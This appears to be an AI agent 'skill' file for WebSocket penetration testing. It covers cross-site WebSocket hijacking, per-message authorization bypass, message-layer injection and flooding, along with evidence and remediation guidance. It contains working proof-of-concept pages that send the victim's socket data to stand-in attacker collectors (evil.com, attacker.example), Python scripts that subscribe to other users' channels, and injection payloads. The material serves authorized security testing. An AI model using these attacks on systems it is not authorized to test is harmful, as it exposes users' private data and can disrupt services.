attack-websocket
WebSocket security — handshake abuse, CSRF, origin validation, message-layer injection
SKILL.mdskills/impl/attack-websocket/SKILL.md
GitHubWebSocket Security
AI LOAD INSTRUCTION: WebSockets break the HTTP security model in two specific ways, and both are the reason this skill exists.
First: there is no preflight and no CORS. A
ws://handshake carries cookies cross-origin and the browser never asks permission. Origin validation must be implemented by the application in the handshake handler, and it frequently is not. That makes cross-site WebSocket hijacking (CSWSH) the primary finding — the equivalent of CSRF with a persistent, bidirectional channel.Second: authorization is per-message, not per-request. The HTTP upgrade authenticates once; every subsequent message arrives on an already-authenticated socket. If the message handler trusts the socket's identity for all operations, a message naming another user's object reads it. This is BOLA over a socket and it is the most commonly missed class here.
Test both. A WebSocket endpoint that validates origin correctly can still fail per-message authorization, and neither check substitutes for the other.
0. RELATED ROUTING
- websocket-security — the long-form companion; load alongside this file
- attack-idor-automation — object authorization in message payloads
- attack-cors — the same origin-trust gap, with different mechanics
- csrf-cross-site-request-forgery — the HTTP counterpart
- http2-specific-attacks — protocol-layer parsing issues
- security-reporting-and-documentation — proving a socket finding reproducibly
1. DISCOVERY AND THE HANDSHAKE
Find the endpoints. WebSocket URLs are in the client bundle, not in an OpenAPI spec:
curl -s https://TARGET/app.js | grep -oE 'wss?://[^"'\'' ]+' | sort -u
curl -s https://TARGET/app.js | grep -oE 'new WebSocket\([^)]+\)' | head -20
curl -s https://TARGET/app.js | grep -oE '(socket\.io|sockjs|ws://|wss://)[^"'\'' ]*' | sort -u
Common paths: /ws, /socket, /socket.io/, /ws/v1, /chat, /notifications,
/realtime, /live, /cable (Rails ActionCable), /graphql (with graphql-ws).
Inspect the handshake response — it reveals the implementation and its defaults:
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Origin: https://evil.com" \
https://TARGET/ws
| Response detail | Meaning |
|---|---|
101 Switching Protocols with Origin: https://evil.com |
no origin validation — CSWSH |
403 for the foreign origin, 101 for the real one |
origin validation present |
Sec-WebSocket-Protocol negotiated |
subprotocol matters for message framing |
no Origin check but a token required in the URL |
token-based auth — test token handling |
101 without any auth |
unauthenticated socket — enumerate what it exposes |
The Origin: https://evil.com probe with a valid session cookie is the single most
important test. If it returns 101, you have CSWSH.
2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
The primary finding. A malicious page opens a socket to the target; the browser attaches the victim's cookies; there is no preflight and no CORS to stop it.
The PoC:
<script>
// Served from https://evil.com — the victim visits it while logged in to TARGET
const ws = new WebSocket('wss://TARGET/ws');
ws.onopen = () => {
ws.send(JSON.stringify({ action: 'getProfile' }));
ws.send(JSON.stringify({ action: 'listMessages', limit: 100 }));
};
ws.onmessage = (e) => {
navigator.sendBeacon('https://evil.com/collect', e.data);
};
</script>
Requirements and how to confirm each:
| Requirement | How to verify |
|---|---|
| the handshake carries cookies | the socket authenticates without an explicit token |
the handshake accepts a foreign Origin |
the 101 in §1 |
cookies are not SameSite=Strict |
inspect the login Set-Cookie |
| the socket performs useful actions without a per-message token | send a message and get real data back |
The SameSite check is the modern blocker. Since 2020, SameSite=Lax is the browser
default. Lax blocks cookies on a WebSocket handshake initiated cross-site, which neutralises
CSWSH. Inspect Set-Cookie before claiming the finding.
GraphQL over WebSocket is a frequent target — graphql-ws connections bypass the HTTP
CSRF middleware, and if origin validation is absent the full query capability is reachable
cross-site.
If the socket requires a token in the URL or in a subprotocol, CSWSH is not directly possible — but test whether the token is validated, whether an expired one is accepted, and whether the token appears in server logs.
3. PER-MESSAGE AUTHORIZATION
The socket is authenticated as user A. No message checks whether A may perform this action on this object. This is BOLA/BFLA over a socket, and it is the most commonly missed class.
Enumerate the message protocol first. Capture the client's own traffic: the message schemas are in the JS bundle and in the observed frames.
Typical message shapes:
{"action":"get","resource":"order","id":123}
{"type":"subscribe","channel":"user:456"}
{"event":"fetch_document","payload":{"docId":"abc"}}
Test each of these substitutions:
| Substitution | Class |
|---|---|
| object ID from another account | BOLA |
user: channel for another user |
subscription hijack |
| an action only admins should reach | BFLA |
| a field not in the client's message | mass assignment |
a room/tenant identifier from another org |
cross-tenant |
Subscribe-and-listen is the highest-yield variant. Real-time channels are frequently keyed by a client-supplied identifier with no ownership check:
{"type":"subscribe","channel":"user:1"}
{"type":"subscribe","channel":"admin-notifications"}
{"type":"subscribe","channel":"org:2"}
If a subscription succeeds for a channel that is not yours, you receive that user's live notifications — a continuous data leak, not a one-off read. Report this with emphasis on the continuous nature.
Use the same two-account discipline as attack-idor-automation: create the object as A, then request it over B's socket. The differential is the finding.
4. MESSAGE-LAYER INJECTION
The socket payload is parsed and often routed into a backend that does not expect untrusted input.
| Class | Test |
|---|---|
| SQL / NoSQL injection | {"id":"1' OR '1'='1"} in an ID field |
| command injection | a shell-shaped parameter in an admin action |
| template injection | message content rendered server-side in notifications or emails |
| path traversal | file or resource names in media actions |
| prototype pollution | {"__proto__":{"x":1}} in a message object |
| deserialization | binary or pickled frames |
The message layer is under-tested because tooling focuses on HTTP. A fuzzer that replays recorded frames with injections is worth running here.
Frame format matters. Text frames (JSON) and binary frames take different code paths; a
filter on the text path may not exist on the binary one. Inspect Sec-WebSocket-Extensions for
permessage-deflate — compression can also enable smuggling-style attacks.
5. AVAILABILITY AND RESOURCE ISSUES
| Issue | Test |
|---|---|
| no connection limit | open thousands of sockets from one client |
| no message size limit | send an oversized frame |
| no message rate limit | flood messages; observe backend load |
| no idle timeout | hold sockets open indefinitely |
| broadcast amplification | one message triggering fan-out to many clients |
| memory growth | subscribe to many channels and observe server memory |
Report only with measurement. "No rate limit on messages" without a demonstrated effect is informational. "10,000 messages/second caused a 40% CPU increase and a 3s latency rise on unrelated HTTP endpoints" is a real availability finding.
Testing discipline: socket floods affect every connected user. Test with a low ceiling, stop at the first sign of degradation, and never flood production.
6. WHAT CONSTITUTES A FINDING
| Finding | Severity | Proof required |
|---|---|---|
| CSWSH with a victim's session and real data exfiltrated | High–Critical (P1/P2) | a working cross-origin PoC and captured data |
| Cross-account data via a per-message authz gap | High (P2) | two accounts and the differential |
| Subscribe to another user's channel, receiving live data | High (P2) | the subscription and the received stream |
| Unauthenticated socket exposing user data | Critical (P1) | the raw socket and the data |
| Authz bypass on an admin action | High (P2) | the action performed as a non-admin |
| Injection through a message payload | High (P2) | the injection and its effect |
| Unbounded connections / messages with measured impact | Medium (P3) | the measurement with a baseline |
Origin not validated, but the socket requires a per-message token |
Low (P4) | the missing check and the token |
Origin validated correctly and per-message authz holds |
Not a finding | document as a positive control |
7. EVIDENCE STANDARD
| Item | Why |
|---|---|
the handshake request including the Origin header |
the trigger for CSWSH |
the 101 response |
proves the handshake succeeded |
the victim's Set-Cookie attributes |
proves SameSite does not block it |
| the complete frame log (out and in) | messages are the payload; HTTP logs miss them |
| the HTML PoC page | converts a header observation into a finding |
| captured exfiltrated data in your collector | the impact proof |
| for authz: two sockets, two identities, and the differential | proves a per-message gap |
| for subscription hijacking: the channel and the received stream | the continuous-leak proof |
a control: the handshake with the legitimate Origin |
proves the endpoint works and the delta is the origin check |
the tooling used (Burp WebSocket history, wscat, custom client) |
reproducibility |
Frame-level evidence is essential. An HTTP-only record shows the handshake and nothing else — the vulnerability lives in the frames.
False positives to exclude:
| Looks like a finding | Actually |
|---|---|
Origin: evil.com accepted but the cookie is SameSite=Lax |
the browser will not send it cross-site |
| the socket requires a token in the URL | not CSWSH; test the token instead |
| you subscribed to your own channel | no differential |
| a message returns an error | authz may be working |
| the socket is read-only and public by design | no impact |
| the "flood" caused no measurable effect | informational only |
WS over wss:// |
TLS, not origin validation — unrelated |
8. REMEDIATION REFERENCE
- Validate
Originon the handshake, server-side, against an allowlist — exact-match comparison, not substring. This is the only control that prevents CSWSH; the browser provides nothing. - Authenticate the handshake with a token, not ambient cookies — a token in a subprotocol or an initial authenticated message removes the ambient-credential problem entirely. Cookies make the socket CSRF-able.
- Authorize every message — treat each frame as an independent request. Verify that this subject may perform this action on this object, every time, at the handler.
- Validate subscription channels server-side — never trust a client-supplied channel, room, or tenant identifier; derive it from the authenticated identity.
- Set
SameSite=Stricton session cookies — this neutralises cross-site handshakes as defence in depth, even if origin validation regresses. - Enforce limits: connections per identity, message size, message rate, and idle timeout — all four. Replace the missing HTTP-layer limits with explicit socket-layer ones.
- Validate and sanitise message payloads like any request body — the socket is an input channel; apply the same schema validation, parameterised queries, and output encoding as HTTP.
- Terminate WebSockets at a gateway that applies the same policy as HTTP — authentication, origin checks, and rate limits in the proxy rather than per-service, so a new service cannot ship without them.
- Log frames for security-relevant actions — the HTTP access log shows one
101and nothing else; without frame logging you have no detection for message-layer abuse.
9. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Did the handshake and the message complete, in a browser or a WS client? | the connection is live |
| 2 | Was there a control - a foreign origin rejected, or a message that is refused? | the check exists |
| 3 | Did authorization apply to the message, not just the handshake? | the real defect |
| 4 | Did you read or send data belonging to another user? | the impact |
| 5 | Was the finding in the handshake (origin, cookie) or in a message (a topic, an id)? | the fix |
| 6 | Did the connection survive a logout or a revocation? | a persistence finding |
| 7 | Did you close every connection you opened? | engagement integrity |
An unauthorized message on a live connection is the bar. A handshake that accepts any Origin is a
precondition; the cross-user message is the finding.
10. EXECUTION PRIMITIVES
WebSocket findings are proven by a live connection carrying an unauthorized message, with the foreign-origin and rejected-message controls. Every block ends at a delivered message.
9.1 The handshake, and the origin control
T="wss://target.example"; WS="https://target.example/ws"
# the handshake with the correct origin, which must succeed
curl -sS -D- -o /dev/null -i -N \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
-H "Origin: https://app.target.example" \
-H "Cookie: session=$SESS" "$WS" 2>&1 | grep -iE 'HTTP/|sec-websocket|upgrade' | head -5
# THE CONTROL: a foreign origin, which must be rejected if the origin is checked
curl -sS -D- -o /dev/null -i -N \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
-H "Origin: https://attacker.example" \
-H "Cookie: session=$SESS" "$WS" 2>&1 | grep -iE 'HTTP/|sec-websocket' | head -5
echo "-> a 101 for BOTH means the Origin is not checked: CSWSH is possible, and that is a precondition."
# and the cookie question: is the session cookie sent on the handshake at all
curl -sS -D- -o /dev/null -i -N \
-H "Connection: Upgrade" -H "Upgrade: websocket" -H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" -H "Origin: https://attacker.example" \
-H "Cookie: session=$SESS" "$WS" 2>&1 | head -3
A 101 for the foreign origin is a precondition, not the finding. The browser sends cookies on a
WebSocket handshake, so the origin check is the only CSRF defence - but the impact still needs a message.
9.2 The message-level authorization test, which is the real finding
# the handshake often checks auth; the MESSAGES frequently do not. This is where the finding lives.
import websocket, json, time # websocket-client
URL = "wss://target.example/ws"
def connect(cookie):
ws = websocket.create_connection(URL, header=[f"Cookie: session={cookie}"],
origin="https://app.target.example", timeout=10)
return ws
def probe(ws, msg, wait=2.0):
ws.send(json.dumps(msg))
ws.settimeout(wait)
out = []
try:
while True:
out.append(ws.recv())
except Exception:
pass
return out
TOKENS = {"mine": "SESSION_A", "other": "SESSION_B"}
print("=== CONTROL: my own subscription ===")
ws = connect(TOKENS["mine"])
print(probe(ws, {"action": "subscribe", "channel": "user:1001"}))
ws.close()
print("=== TEST: another user's channel with MY session ===")
ws = connect(TOKENS["mine"])
res = probe(ws, {"action": "subscribe", "channel": "user:1002"})
print(res)
print(" ^ if messages for user:1002 arrive on MY session, that is the finding")
ws.close()
print("=== TEST: the admin channel with a non-admin session ===")
ws = connect(TOKENS["mine"])
res = probe(ws, {"action": "subscribe", "channel": "admin:events"})
print(res)
ws.close()
print()
print("ALSO TEST each message SHAPE, because authorization is often per-handler and inconsistent:")
for m in [{"action":"getUser","id":1002}, {"action":"read","conversationId":"c-other"},
{"action":"history","room":"private-1"}, {"op":"query","path":"/api/users/1002"}]:
print(" ", json.dumps(m))
The per-channel and per-message tests with a session control. A handshake check with no message check
is the most common WebSocket finding, and the subscribe message is where it shows.
9.3 The CSWSH browser page
<!-- serve this from https://attacker.example; the victim's browser attaches their cookies -->
<!doctype html><html><body><pre id="o">connecting...</pre>
<script>
const ws = new WebSocket("wss://target.example/ws"); // cookies ride along automatically
ws.onopen = () => { ws.send(JSON.stringify({action:"subscribe", channel:"user:me"})); };
ws.onmessage = ev => {
document.getElementById("o").textContent += ev.data + "\n";
// the collector beacon is the machine-readable proof
fetch("https://attacker.example:8000/ws-hit?d=" + encodeURIComponent(ev.data.slice(0,150)));
};
ws.onerror = () => { document.getElementById("o").textContent = "blocked (origin checked)"; };
</script></body></html>
CHECKLIST:
1. the victim must be logged into the target in the SAME browser
2. the page must be served from an origin the server does NOT trust
3. a message must ARRIVE - an open connection with no messages proves only that the handshake passed
4. the collector arrival records the message, which is the artefact
5. THE CONTROL: the same page against an origin-checked endpoint must fail, with an error
An arriving message with data, recorded at the collector. An open connection with no messages is a precondition, and the report must say which of the two it demonstrated.
9.4 Protocol-level variables
# the protocol details that change what is possible
import websocket
print("1) SUBPROTOCOLS: a server that accepts an arbitrary Sec-WebSocket-Protocol may have a")
print(" second, less-guarded handler behind it. Try: graphql-ws, graphql-transport-ws, mqtt, stomp,")
print(" and the application's own name - each may route to different code.")
print()
print("2) COMPRESSION: permessage-deflate enables the compression side-channel family. A server")
print(" that accepts it and reflects secrets in a response is the precondition for that attack.")
print(" Check whether the handshake returns Sec-WebSocket-Extensions: permessage-deflate.")
print()
print("3) PING/FRAME HANDLING: a server that mishandles a fragmented or oversized frame may crash")
print(" or leak. Test only if the engagement permits a DoS test.")
print()
print("4) NO READ TIMEOUT: a connection that stays authenticated forever after logout is a")
print(" persistence finding. Test: connect, log out in another tab, then send a message.")
print(" A message that still succeeds is the finding, and it is common.")
print()
print("5) ORIGIN SPOOFING BEYOND THE HEADER: a null origin, a subdomain, a scheme downgrade -")
print(" each is a different comparison the server might make. Test them like CORS.")
print()
print("6) HTTP/2 WEBSOCKET (RFC 8441): an extended CONNECT carries the websocket over h2, and many")
print(" origin checks do not cover that path. Test it where the server supports h2.")
The logout-persistence test is the highest-yield variable. A WebSocket that stays authorised after a logout is a finding on its own and needs no forgery.
9.5 The end-to-end harness
python3 - <<'PY'
import websocket, json
URL = "wss://target.example/ws"
def run(name, cookie, origin, msgs):
try:
ws = websocket.create_connection(URL, header=[f"Cookie: session={cookie}"],
origin=origin, timeout=8)
except Exception as e:
print("%-24s CONNECT FAILED %s" % (name, type(e).__name__)); return
got = []
for m in msgs:
try:
ws.send(json.dumps(m)); ws.settimeout(2.5)
while True: got.append(ws.recv())
except Exception: pass
ws.close()
print("%-24s messages=%d sample=%s" % (name, len(got), (got[0][:110] if got else "<none>")))
MSG = [{"action": "subscribe", "channel": "user:1002"}]
print("=== CONTROL: foreign origin, handshake must be rejected ===")
run("control-foreign-origin", "SESSION_A", "https://attacker.example", MSG)
print()
print("=== CONTROL: my own channel ===")
run("control-own-channel", "SESSION_A", "https://app.target.example",
[{"action": "subscribe", "channel": "user:1001"}])
print()
print("=== TEST: another user's channel ===")
run("test-other-channel", "SESSION_A", "https://app.target.example", MSG)
print()
print("=== TEST: after logout ===")
run("test-after-logout", "SESSION_LOGGED_OUT", "https://app.target.example",
[{"action": "ping"}, {"action": "subscribe", "channel": "user:1001"}])
print()
print("FINDING = the test row delivering messages that the control rows do not.")
print(" An open connection with zero messages is a precondition, not a finding.")
PY
Messages delivered on the test row and not on the controls. The message count is the metric, and a connection-only result must be labelled a precondition.
11. EVIDENCE STANDARD — WEBSOCKET ARTEFACTS
| Item | Why |
|---|---|
The handshake request and the 101 response |
the connection is real |
| The foreign-origin control result | proves whether the origin is checked |
| The message that was sent, verbatim | reproducibility |
| The message that was received, with the other user's data | the finding |
| The browser page and the collector arrival for the CSWSH form | the cross-site impact |
| Whether the check is at the handshake or per message | the fix location |
| The subprotocol used, and any alternate handler discovered | a second surface |
| The logout-persistence result | a separate persistence finding |
| The connection close, with the code | confirms clean teardown |
| Confirmation that no message modified state on another user's behalf | engagement integrity |
Report the message and the controls: "the handshake with Origin: https://app.target.example and a
valid session returns 101, and the same handshake with Origin: https://attacker.example also returns
101, which shows the origin is not checked and is the precondition. Subscribing to user:1001, my own
channel, returns my own message stream, which is the ownership control. Subscribing to user:1002 with
my session returns that user's message stream, including their name and a fragment of a private
conversation, which is the finding. A page served from https://attacker.example opened the socket and
recorded the same stream at the collector. A connection held open across a logout still delivered
messages for 40 minutes, which is reported separately", never "the WebSocket does not validate the
Origin header".
False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
A handshake that returns 101 for a foreign origin, with no messages |
a precondition; CORS-like, not the impact |
| A connection that opens but receives nothing | nothing was disclosed |
| A message that is rejected by the server | the control working |
| Your own channel's messages | the baseline |
A 401 on the handshake |
the control working |
| A finding requiring an XSS on the target's own origin | two findings; report the XSS separately |
| A connection that closes immediately after upgrade | no session was established |
| A protocol-level crash from an oversized frame, in a scope that forbids DoS testing | outside the engagement |
| A compression side-channel without the required response-reflection precondition | an untested hypothesis |
| A public or intentionally open message channel | verify the data's sensitivity |
| A finding on a third-party chat widget that is not the target's own system | confirm the scope |
An unauthorized message delivered on a live connection. The 101-for-a-foreign-origin observation is
the standard non-finding in this family, and the message count is the remedy.
12. REMEDIATION REFERENCE — CHANNEL AUTHORIZATION HARDENING
- Validate the
Originheader on the handshake against an exact allowlist, and close with a policy violation code otherwise - it removes the CSWSH path, and it is the only defence for a cookie-authenticated socket. - Authorize every message's target resource, not just the connection - the most common defect is a handshake check with an unauthenticated
subscribe. - Bind each subscription to the authenticated principal server-side, and never accept a channel or user identifier that the client supplies as the authority - the
channel: "user:1002"form is the defect. - Do not authenticate a WebSocket with a cookie alone; require a token in the subprotocol or the first message, so a cross-site page cannot present it - it removes the ambient-authority problem entirely.
- Re-authenticate or re-check authorization on sensitive messages, and close every socket when the session ends, when the user logs out, or on a revocation event - it removes the persistence finding.
- Set an idle timeout and a maximum connection lifetime, and require a heartbeat - a socket that lives for hours is a socket that outlives its authorization.
- Rate-limit messages per connection and per principal, and cap message size and frame count - it removes the resource-exhaustion family.
- Return the same error for an unauthorized and a non-existent channel, so the socket does not become an enumeration oracle - it removes the channel-guessing signal.
- Log every connection with its origin, principal, subprotocol, and every subscription it makes, and alert on a rejected origin and on a subscription to a channel the principal does not own - both are clean signals.
- Be explicit about compression: disable
permessage-deflateunless it is needed, and never reflect a secret and attacker input in the same compressed context - it removes the side-channel precondition. - Test the socket with a foreign-origin handshake, a cross-user subscription, and a logout-then-message sequence on every release - all three are one-line tests and all three regress silently.
13. RELATED SIBLINGS - LOAD TOGETHER
- websocket-security - the full technique reference
- attack-cors - the same origin-trust defect on the HTTP side
- csrf-cross-site-request-forgery - the ambient-authority theory behind CSWSH
- api-authorization-and-bola - the object-level authorization defect the messages carry
- http2-specific-attacks - the extended-CONNECT path that carries a WebSocket over h2